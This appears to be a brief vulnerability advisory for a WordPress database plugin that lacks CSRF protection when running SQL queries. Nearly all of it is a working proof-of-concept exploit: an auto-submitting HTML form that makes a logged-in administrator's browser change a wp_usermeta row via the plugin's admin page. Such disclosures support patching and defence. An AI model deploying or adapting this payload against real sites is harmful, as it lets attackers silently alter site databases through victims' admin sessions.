The plugin is missing CSRF check when running SQL queries, which could allow attacker to make a logged in admin run arbitrary SQL query via a CSRF attack
<form id="test" action="https://example.com/wp-admin/?page=mywpdb_page&table=wp_usermeta&where%5Bumeta_id%5D=1" method="POST">
<input type="text" name="umeta_id" value="1">
<input type="text" name="user_id" value="1">
<input type="text" name="meta_key" value="nickname">
<input type="text" name="meta_value" value="test1111111">
<input type="text" name="mywpdbUpdateTrigger" value="">
</form>
<script>
document.getElementById("test").submit();
</script>